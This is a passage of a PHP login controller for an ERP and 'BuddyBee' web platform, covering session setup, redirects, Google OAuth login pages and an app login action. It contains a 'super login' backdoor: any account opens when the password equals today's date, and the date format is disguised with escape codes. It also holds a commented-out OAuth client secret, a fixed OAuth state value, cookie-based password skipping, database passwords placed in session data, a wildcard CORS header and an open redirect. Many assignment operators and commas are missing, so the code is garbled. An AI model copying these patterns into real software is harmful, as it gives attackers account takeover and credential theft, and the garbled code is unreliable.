  3108.                         UserConstants::USER_ID => $userId,
  3109.                         UserConstants::USER_EMPLOYEE_ID => $employeeId,
  3110.                         UserConstants::APPLICANT_ID => $applicantId,
  3111.                         UserConstants::USER_CURRENT_TASK_ID => $currentTaskId,
  3112.                         UserConstants::USER_CURRENT_PLANNING_ITEM_ID => $currentPlanningItemId,
  3113.                         UserConstants::USER_HOLIDAY_LIST_CURRENT_MONTH => json_encode($currentMonthHolidayList),
  3114.                         UserConstants::USER_HOLIDAY_CALENDAR_ID => $currentHolidayCalendarId,
  3115.                         UserConstants::SUPPLIER_ID => $supplierId,
  3116.                         UserConstants::CLIENT_ID => $clientId,
  3117.                         UserConstants::USER_TYPE => $userType,
  3118.                         UserConstants::USER_TYPE_NAME => UserConstants::$userTypeName[$userType],
  3119.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $lastSettingsUpdatedTs == null $lastSettingsUpdatedTs,
  3120.                         UserConstants::IS_CONSULTANT => $isConsultant,
  3121.                         UserConstants::IS_BUDDYBEE_RETAILER => $isRetailer,
  3122.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $retailerLevel,
  3123.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $adminLevel,
  3124.                         UserConstants::IS_BUDDYBEE_MODERATOR => $isModerator,
  3125.                         UserConstants::IS_BUDDYBEE_ADMIN => $isAdmin,
  3126.                         UserConstants::USER_COMPANY_LOCALE => $company_locale,
  3127.                         UserConstants::USER_EMAIL => $userEmail == null "" $userEmail,
  3128.                         UserConstants::USER_IMAGE => $userImage == null "" $userImage,
  3129.                         UserConstants::USER_NAME => $userFullName,
  3130.                         UserConstants::USER_DEFAULT_ROUTE => $userDefaultRoute,
  3131.                         UserConstants::USER_COMPANY_ID => $userCompanyId,
  3132.                         UserConstants::USER_COMPANY_ID_LIST => json_encode($company_id_list),
  3133.                         UserConstants::USER_COMPANY_NAME_LIST => json_encode($company_name_list),
  3134.                         UserConstants::USER_COMPANY_IMAGE_LIST => json_encode($company_image_list),
  3135.                         UserConstants::USER_APP_ID => $appIdFromUserName,
  3136.                         UserConstants::USER_POSITION_LIST => json_encode($position_list_array),
  3137.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $allModuleAccessFlag,
  3138.                         UserConstants::SESSION_SALT => uniqid(mt_rand()),
  3139.                         UserConstants::APPLICATION_SECRET => $this->container->getParameter('secret'),
  3140.                         UserConstants::USER_GOC_ID => $gocId,
  3141.                         UserConstants::USER_DB_NAME => $gocDbName,
  3142.                         UserConstants::USER_DB_USER => $gocDbUser,
  3143.                         UserConstants::USER_DB_PASS => $gocDbPass,
  3144.                         UserConstants::USER_DB_HOST => $gocDbHost,
  3145.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $product_name_display_type,
  3146.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  3147.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  3148.                         UserConstants::USER_LOGIN_ID => $loginID,
  3149.                         UserConstants::USER_CURRENT_POSITION => $curr_position_id,
  3150.                         UserConstants::USER_ROUTE_LIST => json_encode($route_list_array),
  3151.                         UserConstants::USER_PROHIBIT_LIST => json_encode($prohibit_list_array),
  3152.                         'relevantRequiredPromptFields' => json_encode($currRequiredPromptFields),
  3153.                         'triggerPromptInfoModalFlag' => empty($currRequiredPromptFields) ? 1,
  3154.                         'TRIGGER_RESET_PASSWORD' => $triggerResetPassword,
  3155.                         'IS_EMAIL_VERIFIED' => $systemType != '_ERP_' $isEmailVerified 1,
  3156.                         'REMEMBERME' => $remember_me,
  3157.                         'BUDDYBEE_BALANCE' => $buddybeeBalance,
  3158.                         'BUDDYBEE_COIN_BALANCE' => $buddybeeCoinBalance,
  3159.                         'oAuthToken' => $oAuthToken,
  3160.                         'locale' => $locale,
  3161.                         'firebaseToken' => $firebaseToken,
  3162.                         'token' => $session->get('token'),
  3163.                         'firstLogin' => $firstLogin,
  3164.                         'oAuthImage' => $oAuthImage,
  3165.                         'appIdList' => json_encode($appIdList),
  3166.                         'branchIdList' => json_encode($branchIdList),
  3167.                         'branchId' => $branchId,
  3168.                         'companyIdListByAppId' => json_encode($companyIdListByAppId),
  3169.                         'companyNameListByAppId' => json_encode($companyNameListByAppId),
  3170.                         'companyImageListByAppId' => json_encode($companyImageListByAppId),
  3171.                         'userCompanyDarkVibrantList' => json_encode($company_dark_vibrant_list),
  3172.                         'userCompanyVibrantList' => json_encode($company_vibrant_list),
  3173.                         'userCompanyLightVibrantList' => json_encode($company_light_vibrant_list),
  3174.                     );
  3175.                     $session_data $this->filterClientSessionData($session_data);
  3176.                     if ($systemType == '_CENTRAL_') {
  3177.                         $accessList = [];
  3178. //                        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id');
  3179.                         foreach ($userTypesByAppIds as $thisUserAppId => $thisUserUserTypes) {
  3180.                             foreach ($thisUserUserTypes as $thisUserUserType) {
  3181.                                 if (isset($gocDataListByAppId[$thisUserAppId])) {
  3182.                                     $userTypeName = isset(UserConstants::$userTypeName[$thisUserUserType]) ? UserConstants::$userTypeName[$thisUserUserType] : 'Unknown';
  3183.                                     $d = array(
  3184.                                         'userType' => $thisUserUserType,
  3185. //                                        'userTypeName' => UserConstants::$userTypeName[$thisUserUserType],
  3186.                                         'userTypeName' => $userTypeName,
  3187.                                         'globalId' => $globalId,
  3188.                                         'serverId' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerId'],
  3189.                                         'serverUrl' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerAddress'],
  3190.                                         'serverPort' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerPort'],
  3191.                                         'systemType' => '_ERP_',
  3192.                                         'companyId' => 1,
  3193.                                         'appId' => $thisUserAppId,
  3194.                                         'companyLogoUrl' => $gocDataListByAppId[$thisUserAppId]['image'],
  3195.                                         'companyName' => $gocDataListByAppId[$thisUserAppId]['name'],
  3196.                                         'authenticationStr' => $this->get('url_encryptor')->encrypt(json_encode(
  3197.                                                 array(
  3198.                                                     'globalId' => $globalId,
  3199.                                                     'appId' => $thisUserAppId,
  3200.                                                     'authenticate' => 1,
  3201.                                                     'userType' => $thisUserUserType,
  3202.                                                     'userTypeName' => $userTypeName
  3203.                                                 )
  3204.                                             )
  3205.                                         ),
  3206.                                         'userCompanyList' => [
  3207.                                         ]
  3208.                                     );
  3209.                                     $accessList[] = $d;
  3210.                                 }
  3211.                             }
  3212.                         }
  3213.                         $accessList $this->appendCentralCustomerAccessList($accessList, (int)$globalId);
  3214.                         $session_data['userAccessList'] = $accessList;
  3215.                     }
  3216.                     $ultimateData System::setSessionForUser($em_goc,
  3217.                         $session,
  3218.                         $session_data,
  3219.                         $config
  3220.                     );
  3221. //                    $tokenData = MiscActions::CreateTokenFromSessionData($em_goc, $session_data);
  3222.                     $session_data $ultimateData['sessionData'];
  3223.                     $session_data $this->filterClientSessionData($session_data);
  3224.                     $token $ultimateData['token'];
  3225.                     $session->set('token'$token);
  3226.                     if ($systemType == '_CENTRAL_') {
  3227.                         $session->set('csToken'$token);
  3228.                     } else {
  3229.                         $session->set('csToken'$csToken);
  3230.                     }
  3231.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == || $request->query->get('remoteVerify'0) == 1) {
  3232.                         $session->set('remoteVerified'1);
  3233.                         $response = new JsonResponse(array(
  3234.                             'token' => $token,
  3235.                             'uid' => $session->get(UserConstants::USER_ID),
  3236.                             'session' => $session,
  3237.                             'email' => $session_data['userEmail'],
  3238.                             'success' => true,
  3239.                             'session_data' => $session_data,
  3240.                         ));
  3241.                         $response->headers->set('Access-Control-Allow-Origin''*');
  3242.                         return $response;
  3243.                     }
  3244.                     //TEMP START
  3245.                     if ($systemType == '_CENTRAL_') {
  3246.                         if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  3247.                             if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  3248.                                 if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  3249.                                     $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  3250.                                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  3251.                                     return $this->redirect($red);
  3252.                                 }
  3253.                             } else {
  3254.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  3255.                             }
  3256.                         } else
  3257.                             return $this->redirectToRoute('central_landing');
  3258.                     }
  3259.                     if ($systemType == '_SOPHIA_') {
  3260.                         return $this->redirectToRoute('sofia_dashboard_admin');
  3261.                     }
  3262.                     //TREMP END
  3263.                     if ($userForcedRoute != '')
  3264.                         return $this->redirectToRoute($userForcedRoute);
  3265.                     if ($request->request->has('referer_path')) {
  3266.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  3267.                             return $this->redirect($request->request->get('referer_path'));
  3268.                         }
  3269.                     }
  3270.                     if ($request->query->has('refRoute')) {
  3271.                         if ($request->query->get('refRoute') == '8917922')
  3272.                             $userDefaultRoute 'apply_for_consultant';
  3273.                     }
  3274.                     if ($userDefaultRoute == "" || $userDefaultRoute == "" || $userDefaultRoute == null)
  3275.                         $userDefaultRoute 'dashboard';
  3276.                     if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  3277.                         if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  3278.                             if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  3279.                                 $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  3280.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  3281.                                 return $this->redirect($red);
  3282.                             }
  3283.                         } else {
  3284.                             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  3285.                         }
  3286.                     } else
  3287.                         return $this->redirectToRoute($userDefaultRoute);
  3288.                 }
  3289.             }
  3290.         }
  3291.         $session $request->getSession();
  3292.         $session->set('systemType'$systemType);
  3293.         if (isset($encData['appId'])) {
  3294.             if (isset($gocDataListByAppId[$encData['appId']]))
  3295.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  3296.         }
  3297.         $routeName $request->attributes->get('_route');
  3298.         if ($systemType == '_BUDDYBEE_' && $routeName != 'erp_login') {
  3299.             $refRoute '';
  3300.             $message '';
  3301.             $errorField '_NONE_';
  3302.             if ($refRoute != '') {
  3303.                 if ($refRoute == '8917922')
  3304.                     $redirectRoute 'apply_for_consultant';
  3305.             }
  3306.             if ($request->query->has('refRoute')) {
  3307.                 $refRoute $request->query->get('refRoute');
  3308.                 if ($refRoute == '8917922')
  3309.                     $redirectRoute 'apply_for_consultant';
  3310.             }
  3311.             $google_client = new Google_Client();
  3312. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  3313. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  3314.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  3315.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  3316.             } else {
  3317.                 $url $this->generateUrl(
  3318.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  3319.                 );
  3320.             }
  3321.             $selector BuddybeeConstant::$selector;
  3322.             $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  3323. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  3324.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  3325. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  3326.             $google_client->setRedirectUri($url);
  3327.             $google_client->setAccessType('offline');        // offline access
  3328.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  3329.             $google_client->setRedirectUri($url);
  3330.             $google_client->addScope('email');
  3331.             $google_client->addScope('profile');
  3332.             $google_client->addScope('openid');
  3333.             return $this->render(
  3334.                 '@Authentication/pages/views/applicant_login.html.twig',
  3335.                 [
  3336.                     'page_title' => 'BuddyBee Login',
  3337.                     'oAuthLink' => $google_client->createAuthUrl(),
  3338.                     'redirect_url' => $url,
  3339.                     'message' => $message,
  3340.                     'errorField' => '',
  3341.                     'systemType' => $systemType,
  3342.                     'ownServerId' => $ownServerId,
  3343.                     'refRoute' => $refRoute,
  3344.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  3345.                     'selector' => $selector
  3346.                 ]
  3347.             );
  3348.         } else if ($systemType == '_CENTRAL_' && $routeName != 'erp_login') {
  3349.             $refRoute '';
  3350.             $message '';
  3351.             $errorField '_NONE_';
  3352. //            if ($request->query->has('message')) {
  3353. //                $message = $request->query->get('message');
  3354. //
  3355. //            }
  3356. //            if ($request->query->has('errorField')) {
  3357. //                $errorField = $request->query->get('errorField');
  3358. //
  3359. //            }
  3360.             if ($refRoute != '') {
  3361.                 if ($refRoute == '8917922')
  3362.                     $redirectRoute 'apply_for_consultant';
  3363.             }
  3364.             if ($request->query->has('refRoute')) {
  3365.                 $refRoute $request->query->get('refRoute');
  3366.                 if ($refRoute == '8917922')
  3367.                     $redirectRoute 'apply_for_consultant';
  3368.             }
  3369.             $google_client = new Google_Client();
  3370. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  3371. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  3372.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  3373.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  3374.             } else {
  3375.                 $url $this->generateUrl(
  3376.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  3377.                 );
  3378.             }
  3379.             $selector BuddybeeConstant::$selector;
  3380. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  3381.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  3382. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  3383.             $google_client->setRedirectUri($url);
  3384.             $google_client->setAccessType('offline');        // offline access
  3385.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  3386.             $google_client->setRedirectUri($url);
  3387.             $google_client->addScope('email');
  3388.             $google_client->addScope('profile');
  3389.             $google_client->addScope('openid');
  3390.             return $this->render(
  3391.                 '@Authentication/pages/views/central_login.html.twig',
  3392.                 [
  3393.                     'page_title' => 'Central Login',
  3394.                     'oAuthLink' => $google_client->createAuthUrl(),
  3395.                     'redirect_url' => $url,
  3396.                     'message' => $message,
  3397.                     'systemType' => $systemType,
  3398.                     'ownServerId' => $ownServerId,
  3399.                     'errorField' => '',
  3400.                     'refRoute' => $refRoute,
  3401.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  3402.                     'selector' => $selector
  3403.                 ]
  3404.             );
  3405.         } else if ($systemType == '_SOPHIA_' && $routeName != 'erp_login') {
  3406.             $refRoute '';
  3407.             $message '';
  3408.             $errorField '_NONE_';
  3409. //            if ($request->query->has('message')) {
  3410. //                $message = $request->query->get('message');
  3411. //
  3412. //            }
  3413. //            if ($request->query->has('errorField')) {
  3414. //                $errorField = $request->query->get('errorField');
  3415. //
  3416. //            }
  3417.             if ($refRoute != '') {
  3418.                 if ($refRoute == '8917922')
  3419.                     $redirectRoute 'apply_for_consultant';
  3420.             }
  3421.             if ($request->query->has('refRoute')) {
  3422.                 $refRoute $request->query->get('refRoute');
  3423.                 if ($refRoute == '8917922')
  3424.                     $redirectRoute 'apply_for_consultant';
  3425.             }
  3426.             $google_client = new Google_Client();
  3427. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  3428. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  3429.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  3430.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  3431.             } else {
  3432.                 $url $this->generateUrl(
  3433.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  3434.                 );
  3435.             }
  3436.             $selector BuddybeeConstant::$selector;
  3437. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  3438.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  3439. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  3440.             $google_client->setRedirectUri($url);
  3441.             $google_client->setAccessType('offline');        // offline access
  3442.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  3443.             $google_client->setRedirectUri($url);
  3444.             $google_client->addScope('email');
  3445.             $google_client->addScope('profile');
  3446.             $google_client->addScope('openid');
  3447.             return $this->render(
  3448.                 '@Sophia/pages/views/sofia_login.html.twig',
  3449.                 [
  3450.                     'page_title' => 'Central Login',
  3451.                     'oAuthLink' => $google_client->createAuthUrl(),
  3452.                     'redirect_url' => $url,
  3453.                     'message' => $message,
  3454.                     'systemType' => $systemType,
  3455.                     'ownServerId' => $ownServerId,
  3456.                     'errorField' => '',
  3457.                     'refRoute' => $refRoute,
  3458.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  3459.                     'selector' => $selector
  3460.                 ]
  3461.             );
  3462.         } else if ($systemType == '_ERP_' && ($this->container->hasParameter('system_auth_type') ? $this->container->getParameter('system_auth_type') : '_LOCAL_AUTH_') == '_CENTRAL_AUTH_') {
  3463.             return $this->redirect(GeneralConstant::HONEYBEE_CENTRAL_SERVER '/central_landing');
  3464.         } else
  3465.             return $this->render(
  3466.                 '@Authentication/pages/views/login_new.html.twig',
  3467.                 array(
  3468.                     "message" => $message,
  3469.                     'page_title' => 'Login',
  3470.                     'gocList' => $gocDataListForLoginWeb,
  3471.                     'gocId' => $gocId != $gocId '',
  3472.                     'systemType' => $systemType,
  3473.                     'ownServerId' => $ownServerId,
  3474.                     'encData' => $encData,
  3475.                     //                'ref'=>$request->
  3476.                 )
  3477.             );
  3478.     }
  3479.     public function doLoginForAppAction(Request $request$encData "",
  3480.                                                 $remoteVerify 0,
  3481.                                                 $applicantDirectLogin 0
  3482.     )
  3483.     {
  3484.         $message "";
  3485.         $email '';
  3486. //                            $userName = substr($email, 4);
  3487.         $userName '';
  3488.         $gocList = [];
  3489.         $skipPassword 0;
  3490.         $firstLogin 0;
  3491.         $remember_me 0;
  3492.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  3493.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  3494.         if ($request->isMethod('POST')) {
  3495.             if ($request->request->has('remember_me'))
  3496.                 $remember_me 1;
  3497.         } else {
  3498.             if ($request->query->has('remember_me'))
  3499.                 $remember_me 1;
  3500.         }
  3501.         if ($encData != "")
  3502.             $encData json_decode($this->get('url_encryptor')->decrypt($encData));
  3503.         else if ($request->query->has('spd')) {
  3504.             $encData json_decode($this->get('url_encryptor')->decrypt($request->query->get('spd')), true);
  3505.         }
  3506.         $user = [];
  3507.         $userType 0//nothing for now , will add supp or client if we find anything
  3508.         $em_goc $this->getDoctrine()->getManager('company_group');
  3509.         $em_goc->getConnection()->connect();
  3510.         $gocEnabled 0;
  3511.         if ($this->container->hasParameter('entity_group_enabled'))
  3512.             $gocEnabled $this->container->getParameter('entity_group_enabled');
  3513.         if ($gocEnabled == 1)
  3514.             $connected $em_goc->getConnection()->isConnected();
  3515.         else
  3516.             $connected false;
  3517.         if ($connected)
  3518.             $gocList $em_goc
  3519.                 ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  3520.                 ->findBy(
  3521.                     array(//                        'active' => 1
  3522.                     )
  3523.                 );
  3524.         $gocDataList = [];
  3525.         $gocDataListForLoginWeb = [];
  3526.         $gocDataListByAppId = [];
  3527.         foreach ($gocList as $entry) {
  3528.             $d = array(
  3529.                 'name' => $entry->getName(),
  3530.                 'image' => $entry->getImage(),
  3531.                 'id' => $entry->getId(),
  3532.                 'appId' => $entry->getAppId(),
  3533.                 'skipInWebFlag' => $entry->getSkipInWebFlag(),
  3534.                 'skipInAppFlag' => $entry->getSkipInAppFlag(),
  3535.                 'dbName' => $entry->getDbName(),
  3536.                 'dbUser' => $entry->getDbUser(),
  3537.                 'dbPass' => $entry->getDbPass(),
  3538.                 'dbHost' => $entry->getDbHost(),
  3539.                 'companyGroupServerAddress' => $entry->getCompanyGroupServerAddress(),
  3540.                 'companyGroupServerId' => $entry->getCompanyGroupServerId(),
  3541.                 'companyGroupServerPort' => $entry->getCompanyGroupServerPort(),
  3542.                 'companyRemaining' => $entry->getCompanyRemaining(),
  3543.                 'companyAllowed' => $entry->getCompanyAllowed(),
  3544.             );
  3545.             $gocDataList[$entry->getId()] = $d;
  3546.             if (in_array($entry->getSkipInWebFlag(), [0null]))
  3547.                 $gocDataListForLoginWeb[$entry->getId()] = $d;
  3548.             $gocDataListByAppId[$entry->getAppId()] = $d;
  3549.         }
  3550. //        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id_start');
  3551.         $gocDbName '';
  3552.         $gocDbUser '';
  3553.         $gocDbPass '';
  3554.         $gocDbHost '';
  3555.         $gocId 0;
  3556.         $appId 0;
  3557.         $hasGoc 0;
  3558.         $userId 0;
  3559.         $userCompanyId 0;
  3560.         $specialLogin 0;
  3561.         $supplierId 0;
  3562.         $applicantId 0;
  3563.         $isApplicantLogin 0;
  3564.         $clientId 0;
  3565.         $cookieLogin 0;
  3566.         $encrypedLogin 0;
  3567.         $loginID 0;
  3568.         $supplierId 0;
  3569.         $clientId 0;
  3570.         $userId 0;
  3571.         $globalId 0;
  3572.         $applicantId 0;
  3573.         $employeeId 0;
  3574.         $userCompanyId 0;
  3575.         $company_id_list = [];
  3576.         $company_name_list = [];
  3577.         $company_image_list = [];
  3578.         $route_list_array = [];
  3579.         $prohibit_list_array = [];
  3580.         $company_dark_vibrant_list = [];
  3581.         $company_vibrant_list = [];
  3582.         $company_light_vibrant_list = [];
  3583.         $currRequiredPromptFields = [];
  3584.         $oAuthImage '';
  3585.         $appIdList '';
  3586.         $userDefaultRoute '';
  3587.         $userForcedRoute '';
  3588.         $branchIdList '';
  3589.         $branchId 0;
  3590.         $companyIdListByAppId = [];
  3591.         $companyNameListByAppId = [];
  3592.         $companyImageListByAppId = [];
  3593.         $position_list_array = [];
  3594.         $curr_position_id 0;
  3595.         $allModuleAccessFlag 0;
  3596.         $lastSettingsUpdatedTs 0;
  3597.         $isConsultant 0;
  3598.         $isAdmin 0;
  3599.         $isModerator 0;
  3600.         $isRetailer 0;
  3601.         $retailerLevel 0;
  3602.         $adminLevel 0;
  3603.         $moderatorLevel 0;
  3604.         $userEmail '';
  3605.         $userImage '';
  3606.         $userFullName '';
  3607.         $triggerResetPassword 0;
  3608.         $isEmailVerified 0;
  3609.         $currentTaskId 0;
  3610.         $currentPlanningItemId 0;
  3611. //                $currentTaskAppId = 0;
  3612.         $buddybeeBalance 0;
  3613.         $buddybeeCoinBalance 0;
  3614.         $entityUserbalance 0;
  3615.         $userAppIds = [];
  3616.         $userTypesByAppIds = [];
  3617.         $currentMonthHolidayList = [];
  3618.         $currentHolidayCalendarId 0;
  3619.         $oAuthToken $request->request->get('oAuthToken''');
  3620.         $locale $request->request->get('locale''');
  3621.         $firebaseToken $request->request->get('firebaseToken''');
  3622.         if ($request->request->has('gocId')) {
  3623.             $hasGoc 1;
  3624.             $gocId $request->request->get('gocId');
  3625.         }
  3626.         if ($request->request->has('appId')) {
  3627.             $hasGoc 1;
  3628.             $appId $request->request->get('appId');
  3629.         }
  3630.         if (isset($encData['appId'])) {
  3631.             if (isset($gocDataListByAppId[$encData['appId']])) {
  3632.                 $hasGoc 1;
  3633.                 $appId $encData['appId'];
  3634.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  3635.             }
  3636.         }
  3637.         $csToken $request->get('csToken''');
  3638.         $entityLoginFlag $request->get('entityLoginFlag') ? $request->get('entityLoginFlag') : 0;
  3639.         $loginType $request->get('loginType') ? $request->get('loginType') : 1;
  3640.         $oAuthData $request->get('oAuthData') ? $request->get('oAuthData') : 0;
  3641. //        if ($request->cookies->has('USRCKIE'))
  3642. //        System::log_it($this->container->getParameter('kernel.root_dir'), json_encode($gocDataListByAppId), 'default_test', 1);
  3643.         if (isset($encData['globalId'])) {
  3644.             if (isset($encData['authenticate']))
  3645.                 if ($encData['authenticate'] == 1)
  3646.                     $skipPassword 1;
  3647.             if ($encData['globalId'] != && $encData['globalId'] != '') {
  3648.                 $skipPassword 1;
  3649.                 $remember_me 1;
  3650.                 $globalId $encData['globalId'];
  3651.                 $appId $encData['appId'];
  3652.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  3653.                 $userType $encData['userType'];
  3654.                 $userCompanyId 1;
  3655.                 $hasGoc 1;
  3656.                 $encrypedLogin 1;
  3657.                 if (in_array($userType, [67]))
  3658.                     $entityLoginFlag 1;
  3659.                 if (in_array($userType, [34]))
  3660.                     $specialLogin 1;
  3661.                 if ($userType == UserConstants::USER_TYPE_CLIENT)
  3662.                     $clientId = isset($encData['erpClientId']) ? (int)$encData['erpClientId'] : $userId;
  3663.                 if ($userType == UserConstants::USER_TYPE_SUPPLIER)
  3664.                     $supplierId $userId;
  3665.                 if ($userType == UserConstants::USER_TYPE_APPLICANT)
  3666.                     $applicantId $userId;
  3667.             }
  3668.         } else if ($systemType == '_BUDDYBEE_' && $request->cookies->has('USRCKIE')) {
  3669.             $cookieData json_decode($request->cookies->get('USRCKIE'), true);
  3670.             if ($cookieData == null)
  3671.                 $cookieData = [];
  3672.             if (isset($cookieData['uid'])) {
  3673.                 if ($cookieData['uid'] != && $cookieData['uid'] != '') {
  3674.                     $skipPassword 1;
  3675.                     $remember_me 1;
  3676.                     $userId $cookieData['uid'];
  3677.                     $gocId $cookieData['gocId'];
  3678.                     $userCompanyId $cookieData['companyId'];
  3679.                     $userType $cookieData['ut'];
  3680.                     $hasGoc 1;
  3681.                     $cookieLogin 1;
  3682.                     if (in_array($userType, [67]))
  3683.                         $entityLoginFlag 1;
  3684.                     if (in_array($userType, [34]))
  3685.                         $specialLogin 1;
  3686.                     if ($userType == UserConstants::USER_TYPE_CLIENT)
  3687.                         $clientId $userId;
  3688.                     if ($userType == UserConstants::USER_TYPE_SUPPLIER)
  3689.                         $supplierId $userId;
  3690.                     if ($userType == UserConstants::USER_TYPE_APPLICANT)
  3691.                         $applicantId $userId;
  3692.                 }
  3693.             }
  3694.         }
  3695.         if ($request->isMethod('POST') || $request->query->has('oAuthData') || $encrypedLogin == || $cookieLogin == 1) {
  3696.             ///super login
  3697.             $todayDt = new \DateTime();
  3698. //            $mp='_eco_';
  3699.             $mp $todayDt->format("\171\x6d\x64");
  3700.             if ($request->request->get('password') == $mp)
  3701.                 $skipPassword 1;
  3702.             //super login ends
  3703.             ///special logins, suppliers and clients
  3704.             $company_id_list = [];
  3705.             $company_name_list = [];
  3706.             $company_image_list = [];
  3707.             $company_dark_vibrant_list = [];
  3708.             $company_light_vibrant_list = [];
  3709.             $company_vibrant_list = [];
  3710.             $appIdFromUserName 0//nothing for now , will add supp or client if we find anything
  3711.             $uname $request->request->get('username');
  3712.             $uname preg_replace('/\s/'''$uname);
  3713.             $deviceId $request->request->has('deviceId') ? $request->request->get('deviceId') : 0;
  3714.             $applicantDirectLogin $request->request->has('applicantDirectLogin') ? $request->request->get('applicantDirectLogin') : $applicantDirectLogin;
  3715.             $session $request->getSession();
  3716.             $product_name_display_type 0;
  3717.             $Special 0;
  3718.             if ($entityLoginFlag == 1//entity login
  3719.             {
  3720.                 if ($cookieLogin == 1) {
  3721.                     $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  3722.                         array(
  3723.                             'userId' => $userId
  3724.                         )
  3725.                     );
  3726.                 } else if ($loginType == 2//oauth
  3727.                 {
  3728.                     if (!empty($oAuthData)) {
  3729.                         //check for if exists 1st
  3730.                         $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  3731.                             array(
  3732.                                 'email' => $oAuthData['email']
  3733.                             )
  3734.                         );
  3735.                         if ($user) {
  3736.                             //no need to verify for oauth just proceed
  3737.                         } else {
  3738.                             //add new user and pass that user
  3739.                             $add_user EntityUserM::addNewEntityUser(
  3740.                                 $em_goc,
  3741.                                 $oAuthData['name'],
  3742.                                 $oAuthData['email'],
  3743.                                 '',
  3744.                                 0,
  3745.                                 0,
  3746.                                 0,
  3747.                                 UserConstants::USER_TYPE_ENTITY_USER_GENERAL_USER,
  3748.                                 [],
  3749.                                 0,
  3750.                                 "",
  3751.                                 0,
  3752.                                 "",
  3753.                                 $image '',
  3754.                                 $deviceId,
  3755.                                 0,
  3756.                                 0,
  3757.                                 $oAuthData['uniqueId'],
  3758.                                 $oAuthData['token'],
  3759.                                 $oAuthData['image'],
